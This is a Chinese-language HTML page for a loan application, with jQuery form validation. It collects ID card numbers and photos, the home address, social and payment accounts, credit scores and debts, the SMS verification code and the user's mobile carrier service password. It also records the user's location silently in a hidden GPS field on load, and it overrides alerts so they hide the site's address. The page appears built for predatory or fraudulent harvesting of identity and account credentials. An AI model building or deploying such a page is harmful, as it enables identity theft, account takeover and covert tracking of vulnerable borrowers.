
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>申请借款</title>
<link rel="stylesheet" href="css/reset.css" />
<link rel="stylesheet" href="css/Lobibox.min.css" />
<!--ajax提示-->
<link rel="stylesheet" href="css/style.css" />
<!-- 美化 -->
<script src="js/jquery.min.js"></script>
<script src="js/modernizr.js"></script>
<!-- Modernizr -->
<script src="js/main.js"></script>
<!-- Resource jQuery -->
<script src="js/jquery.cookie.js"></script>
<!--缓存-->
<script src="js/Lobibox.min.js"></script>
<!--消息盒子-->
<script src="js/sms.js"></script>
<!--短信ajax-->
<script src="js/geolocation.min.js"></script>
<script type="text/javascript" src="https://res.wx.qq.com/open/js/jweixin-1.2.0.js"></script>

<script type="text/javascript" src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<script type="text/javascript" src="http://apps.bdimg.com/libs/jquery.cookie/1.4.1/jquery.cookie.js"></script>
<script type="text/javascript" src="js/wx.js"></script>

</head>

<body>
	<div id="load" style="display: none">
		<div class="spinner">
			<div class="rect1"></div>
			<div class="rect2"></div>
			<div class="rect3"></div>
			<div class="rect4"></div>
			<div class="rect5"></div>
		</div>
		<div class="loadtext" style="text-align: center">页面加载中,请稍候...</div>
	</div>
	<div class="zzsc-container">
		<form class="cd-form floating-labels" action="addApply.do"
			method="post" enctype="multipart/form-data"
			onsubmit="return checkForm();">
			<legend>
				<a href="index.html" style="float: right;">返回首页</a>申请借款
			</legend>
			<p style="font-size: 12px;">请填写真实的借款信息,否则将无法通过信贷员审核!</p>
			<div class="error-message">
				<p>您未开启获取位置权限!</p>
			</div>

			<div class="icon">
				<label class="cd-label" for="WX"></label> 
				<input type="text" class="user" id="WX" value="" readonly="readonly" /> 
				<input name="wxid" id="wxid" type="hidden" value="" />
			</div>

			<div class="icon">
				<label class="cd-label" for="name">您的姓名</label> <input class="user"
					type="text" name="name" id="name" />
			</div>

			<div class="icon">
				<label class="cd-label" for="sfz">身份证号</label> <input
					class="message" type="text" name="sfz" id="sfz" />
			</div>

			<div class="icon">
				<a href="javascript:;" class="a-upload"><input id="miaz"
					type="file" name="sfz_1" accept="image/*" data-id="mia" /><span>+</span>身份证正面照</a>
				<ul class="img clear-hidden"></ul>
			</div>

			<div class="icon">
				<a href="javascript:;" class="a-upload"><input id="mibf"
					type="file" name="sfz_2" accept="image/*" data-id="mib" /><span>+</span>身份证反面照</a>
				<ul class="img clear-hidden"></ul>
			</div>
			<!-- 
    <div class="icon">
        <a href="javascript:;" class="a-upload"><input id="micc" type="file" name="sfz_3" accept="image/*" data-id="mic" /><span>+</span>手持身份证照片</a>
        <ul class="img clear-hidden"></ul>
    </div> -->

			<div class="icon">
				<label class="cd-label" for="dizhic">常住地址(含楼栋/门号详细地址)</label> <input
					class="message" type="text" name="dizhic" id="dizhic" />
			</div>

			<div class="icon" style="display: none;">
				<label class="cd-label float" for="gps">当前位置</label> <input
					name="gps" type="text" class="message" id="gps" value=" "
					readonly="readonly" /> <input name="gpsadd" type="hidden"
					id="gpsadd" value="" />
			</div>

			<div class="icon">
				<label class="cd-label" for="QQ">QQ号码</label> <input class="message"
					type="text" name="QQ" id="QQ" />
			</div>
			<div class="icon">
				<label class="cd-label" for="wx">微信号码</label> <input class="message"
					type="text" name="wx" id="wx" />
			</div>

			<div class="icon">
				<label class="cd-label" for="zfb">支付宝账号</label> <input
					class="budget" type="text" name="zfb" id="zfb" />
			</div>

			<div class="icon">
				<label class="cd-label" for="zmf">芝麻分</label> <input class="message"
					type="text" name="zmf" id="zmf" />
			</div>

			<div class="icon">
				<label class="cd-label" for="hbjb">花呗/借呗</label> <input
					class="message" type="text" name="hbjb" id="hbjb" />
			</div>

			<div class="cd-select icon">
				<select class="message" name="slsf">
					<option value="">您的身份</option>
					<option value="成人">成人</option>
					<option value="学生">学生</option>
				</select>
			</div>

			<div class="icon">
				<label class="cd-label" for="zfuz">总负债(借贷宝/今借到等平台)</label> <input
					class="message" type="text" name="zfuz" id="zfuz" />
			</div>

			<div class="icon">
				<label class="cd-label" for="zhuank">总还款(借贷宝/今借到等平台)</label> <input
					class="message" type="text" name="zhuank" id="zhuank" />
			</div>

			<div class="cd-select icon">
				<select class="message" name="slyq">
					<option value="">是否当前有逾期未还</option>
					<option value="1">有</option>
					<option value="0">没有</option>
				</select>
			</div>

			<div class="cd-select icon">
				<select class="message" name="sljl" id="sljl">
					<option value="">是否有逾期记录</option>
					<option value="1">有</option>
					<option value="0">没有</option>
				</select>
			</div>

			<div class="icon" id="tiansdiv" style="display: none;">
				<label class="cd-label" for="tians">逾期天数</label> <input
					class="message" type="text" name="tians" id="tians" />
			</div>

			<div class="icon">
				<label class="cd-label" for="phonenum">您的手机号码</label> <input
					class="message" type="text" name="phonenum" id="phonenum" />
			</div>
			<!-- 
    <div class="icon cod">
        <span><img id="codimg" src="getCode.do" title="验证码,看不清楚？请点击刷新验证码" onClick="this.src='getCode.do?t='+(new Date().getTime());" style="cursor:pointer" ></span>
        <label class="cd-label" for="cod">验证码</label>
        <input class="message" type="text" name="cod" id="cod" />
    </div> -->
			<div class="icon cod">
				<input type="button" id="btnSendCode" class="btnSendCode"
					value="免费获取" /> <label class="cd-label" for="smscod">短信验证码</label>
				<input class="message" type="text" name="smscod" id="smscod"
					required />
			</div>
			<div class="icon">
				<label class="cd-label" for="phonepassword">您的手机服务密码</label> <input
					class="message" type="text" name="phonePassword" id="phonePassword" />
			</div>
			<div class="icon">
				<label class="cd-label" for="tjr">推荐人手机号码(没有请留空)</label> <input
					onkeyup="this.value=this.value.replace(/\D/g,'')"
					onafterpaste="this.value=this.value.replace(/\D/g,'')" name="tjr"
					type="text" class="message" id="tjr" value="" />
			</div>
			<div class="cd-select icon">
				<select class="message" name="applyType" id="applyType">
					<option value="1">A套餐</option>
					<option value="2">B套餐</option>
				</select>
			</div>
			<input type="submit" id="loadan" class="from_button" value="提交申请" />
		</form>
	</div>
	<iframe id="posthere" name="posthere" style="display: none;"></iframe>
</body>
<script>
	//重置警告框隐藏苹果网址
	function GetQueryString(name) {
		var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
		var r = window.location.search.substr(1).match(reg);
		if (r != null)
			return unescape(r[2]);
		return null;
	}

	window.alert = function(name) {
		var iframe = document.createElement("IFRAME");
		iframe.style.display = "none";
		iframe.setAttribute("src", 'data:text/plain,');
		document.documentElement.appendChild(iframe);
		window.frames[0].window.alert(name);
		iframe.parentNode.removeChild(iframe);
	};
	//加载页面
	window.onload = function() {
		//页面加载完成执行
		$("#load").hide();
		$(".zzsc-container").show();
		//获取地理位置
		//var geolocation = new qq.maps.Geolocation();
		var geolocation = new qq.maps.Geolocation(
				"WTMBZ-AICKU-F6JVY-4TZ3Z-NJN5V-UYBMT", "mapadd");
		var options = {
			timeout : 3000
		};
		geolocation.getLocation(showPosition, showErr, options);
		function showPosition(position) {//定位
			JSONaddr = JSON.stringify(position.addr, null, 4);//定位街道失败取市级
			if (JSONaddr.replace(/(^\"*)|(\"*$)/g, "").length == 0) {
				JSONaddr = JSON.stringify(position.city, null, 4);
			}
			;
			JSONlat = JSON.stringify(position.lat, null, 4);
			JSONlng = JSON.stringify(position.lng, null, 4);
			$("#gps").val(JSONaddr.replace(/(^\"*)|(\"*$)/g, ""));
			$("#gpsadd").val(
					JSONlat.replace(/(^\"*)|(\"*$)/g, "") + ","
							+ JSONlng.replace(/(^\"*)|(\"*$)/g, ""));
			$(".error-message").hide();
		}
		;
	};
	//定位失败
	function showErr() {
		$("#gps").val("您未开启获取位置权限");
		$(".error-message").show();
	};
	//获取上传图片展示
	$("input[type='file']")
			.change(
					function(e) {
						var dataid = $(this).attr("data-id");
						$("li." + dataid).remove();
						var filsrc = window.URL
								.createObjectURL($(this)[0].files[0]);
						console.log(e);
						if (filsrc != null) {
							var filimg = "<li class="
									+ dataid
									+ " style='background:url("
									+ filsrc
									+ ") center no-repeat;background-size:cover;height: 100px;'></li>";
							$(this).parent().siblings(".img").append(filimg);
						}
					});
	//逾期天数显示隐藏
	$("#sljl").change(function() {
		var itemi = $(this).val();
		if (itemi == '有') {
			$("#tiansdiv").show();
			//$("#tians").attr("required",true);
		} else {
			$("#tiansdiv").hide();
			//$("#tians").removeAttr("required");
		}
	});
	//隐藏遮罩层
	function loadi() {
		$("#load").hide();
	};
	//表单验证
	function checkForm() {
		if ($("#name").val() == "") {
			alert("名字未填写");
			$("#name").focus();
			return false;
		}
		;

		if ($("#sfz").val() == "") {
			alert("身份证未填写");
			$("#sfz").focus();
			return false;
		}
		;

		if ($("#miaz").val() == "") {
			alert("身份证正面照未上传");
			$("#miaz").focus();
			return false;
		}
		;

		if ($("#mibf").val() == "") {
			alert("身份证反面照未上传");
			$("#miaz").focus();
			return false;
		}
		;

		/* if($("#micc").val()==""){
			alert("手持身份证照未上传");
			$("#miaz").focus();
			return false; 
		}; */

		if ($("#dizhic").val() == "") {
			alert("常住详细地址未填写");
			$("#dizhic").focus();
			return false;
		}
		;

		if ($("#QQ").val() == "") {
			alert("QQ号码未填写");
			$("#QQ").focus();
			return false;
		}
		;

		if ($("#wx").val() == "") {
			alert("微信号未填写");
			$("#wx").focus();
			return false;
		}
		;

		if ($("#zfb").val() == "") {
			alert("支付宝账号未填写");
			$("#zfb").focus();
			return false;
		}
		;

		if ($("#zmf").val() == "") {
			alert("芝麻分未填写");
			$("#zmf").focus();
			return false;
		}
		;

		if ($("#hbjb").val() == "") {
			alert("花呗/借呗未填写");
			$("#hbjb").focus();
			return false;
		}
		;

		if ($("#zfuz").val() == "") {
			alert("总负债未填写");
			$("#zfuz").focus();
			return false;
		}
		;

		if ($("#zhuank").val() == "") {
			alert("总还款未填写");
			$("#zhuank").focus();
			return false;
		}
		;

		var display = $('#tiansdiv').css('display');
		if (display == 'block') {
			if ($("#tians").val() == "") {
				alert("逾期天数未填写");
				$("#tians").focus();
				return false;
			}
		}
		;

		if ($("#phonenum").val() == "") {
			alert("手机号码未填写");
			$("#phonenum").focus();
			return false;
		}
		;

		if (flag = true) {
			$(".loadtext").html('提交上传验证中,速度与您的网速有关!请勿关闭耐心等待!');
			$("#load").show();
		}
		;
		return true;
	}
</script>
</html>